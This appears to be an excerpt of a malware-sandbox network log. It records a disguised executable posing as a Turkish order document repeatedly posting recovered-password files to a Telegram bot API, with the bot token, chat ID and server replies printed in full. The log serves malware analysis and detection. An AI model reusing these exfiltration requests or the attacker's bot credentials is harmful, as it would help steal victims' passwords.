2025-01-06 12:57:12 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:12 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:12 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49824	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:18 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2ee5cc25f03b Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:18 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 65 65 35 63 63 32 35 66 30 33 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd2ee5cc25f03bContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:19 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:19 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27629,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168239,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	62498	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:41 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2fd6ddc41eac Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:41 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 66 64 36 64 64 63 34 31 65 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd2fd6ddc41eacContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:41 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:41 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27633,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168261,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	62504	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:42 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2fe29bc3fc77 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:42 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 66 65 32 39 62 63 33 66 63 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd2fe29bc3fc77Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:43 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:43 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27635,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168263,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	62510	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:43 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2ff4d4fd9a94 Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:43 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 66 66 34 64 34 66 64 39 61 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd2ff4d4fd9a94Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:44 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:44 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27637,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168263,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	62519	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:44 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd300085fe93a9 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:44 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 30 30 38 35 66 65 39 33 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd300085fe93a9Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:45 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:45 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27639,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168265,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	62527	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:45 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd300ec9fa6eb5 Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:45 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 30 65 63 39 66 61 36 65 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd300ec9fa6eb5Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:46 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:46 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27641,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168266,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	62534	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:46 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd301bbb3fe9ad Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:46 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 31 62 62 62 33 66 65 39 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd301bbb3fe9adContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:47 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:47 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27643,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168267,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	62540	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
